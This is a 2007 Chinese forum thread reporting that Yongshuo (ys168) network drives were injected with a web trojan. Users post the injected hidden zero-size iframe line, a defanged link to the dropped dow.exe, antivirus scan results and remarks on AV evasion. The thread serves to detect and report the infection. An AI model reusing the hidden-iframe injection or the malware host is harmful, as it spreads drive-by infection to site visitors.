所有永硕网络硬盘让人挂上了马

qqq000@qq.com

所有永硕网络硬盘让人挂上了马
<iFrAmE src=httttttttttttp://www.bhp159.net/m.htm width=0 height=0></IfRaMe>

qqq000@qq.com

"503165656.ys168.com" 也有

mofunzone

把一个有问题的下载下来了

allenhippo

hxxp://www.bhp159.net/dow.exe

mofunzone

挂网马的越来越不敬业了，也不把东西好好免杀一下，难道过了瑞星就ok了？。。
还是我的样本强呀。。
File:           dow.exe
Status:        
INFECTED/MALWARE
MD5:         9db963fabb37b06229e66c0e08001a1a
Packers detected:        
HMIMYS
Bit9 reports:         Not analyzed yet (more info)
Scanner results
Scan taken on 26 Jun 2007 23:04:10 (GMT)
A-Squared        
Found nothing
AntiVir        
Found TR/Crypt.NSPM.Gen
ArcaVir        
Found Trojan.Downloader.Delf.Bko
Avast        
Found nothing
AVG Antivirus        
Found Downloader.Generic4.YRH
BitDefender        
Found Generic.Malware.WBdld.8EAD1D3B
ClamAV        
Found nothing
Dr.Web        
Found BackDoor.WebDor
F-Prot Antivirus        
Found W32/Downloader2.AJUX
F-Secure Anti-Virus        
Found Trojan-Downloader.Win32.Delf.bko
Fortinet        
Found nothing
Kaspersky Anti-Virus        
Found Trojan-Downloader.Win32.Delf.bko
NOD32        
Found Win32/TrojanDownloader.Delf.BHO
Norman Virus Control        
Found W32/Delf.AIQY
Panda Antivirus        
Found nothing
Rising Antivirus        
Found nothing
VirusBuster        
Found nothing
VBA32        
Found MalwareScope.Trojan-PSW.Game.14

allenhippo

下载的文件里，还是有过卡巴的。

国内用卡巴瑞星毕竟大多数，当然以过他们为标准了


[MD5: 019A7D 4CDDC3 081BBB]

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\virus.rar'
C:\Documents and Settings\Administrator\My Documents\
  virus.rar
    [0] Archive type: RAR
    --> Game05[1].exe
        [DETECTION] File has been compressed with an unusual runtime compression tool (PCK/UPACK). Please verify the origin of the file
        [WARNING]   Infected files in archives cannot be repaired!
    --> Game07[1].exe
        [DETECTION] Is the Trojan horse TR/Spy.Gen
        [WARNING]   Infected files in archives cannot be repaired!
    --> Game11[1].exe
        [DETECTION] Is the Trojan horse TR/Spy.Agent.PR.27
        [WARNING]   Infected files in archives cannot be repaired!
        [WARNING]   The file was ignored!

mofunzone

扫描日志
NOD32版本 2354 (20070626) NT
命令行： C:\Documents and Settings\Administrator\My  ?
?Documents\virus.rar
正在检查NOD32.EXE文件的CRC：状态正常
D:\Eset\nod32.exe - 是正常的
扫描系统内存中：没有进行 (选项已关闭)
扫描MBR及引导区中：没有进行 (选项已关闭)
日期： 26.6.2007  时间：16:19:36
已关闭反隐藏功能.
已扫描的磁盘，文件夹及文件：C:\Documents and Settings\ ?
?Administrator\My Documents\virus.rar
C:\Documents and Settings\Administrator\My Documents\ ?
?virus.rar >>RAR >>Game05[1].exe - 是正常的
C:\Documents and Settings\Administrator\My Documents\ ?
?virus.rar >>RAR >>Game07[1].exe - Win32/PSW.OnLineGames. ?
?YA 木马的变种
C:\Documents and Settings\Administrator\My Documents\ ?
?virus.rar >>RAR >>Game11[1].exe - Win32/TrojanDropper. ?
?Delf.NDN 木马
已扫描的文件数目：3
已发现的病毒数目：2
完成时间： 16:19:40 总扫描时间：4 秒 (00:00:04)

mofunzone

[Scan path] C:\Documents and Settings\Administrator\My Documents\virus.rar
>C:\Documents and Settings\Administrator\My Documents\virus.rar\Game05[1].exe - Ok
>>C:\Documents and Settings\Administrator\My Documents\virus.rar\Game07[1].exe probably infected with MULDROP.Trojan
>>C:\Documents and Settings\Administrator\My Documents\virus.rar\Game11[1].exe infected with Trojan.MulDrop.6022
C:\Documents and Settings\Administrator\My Documents\virus.rar - archive contains infected objects

tracydk

symantec也被过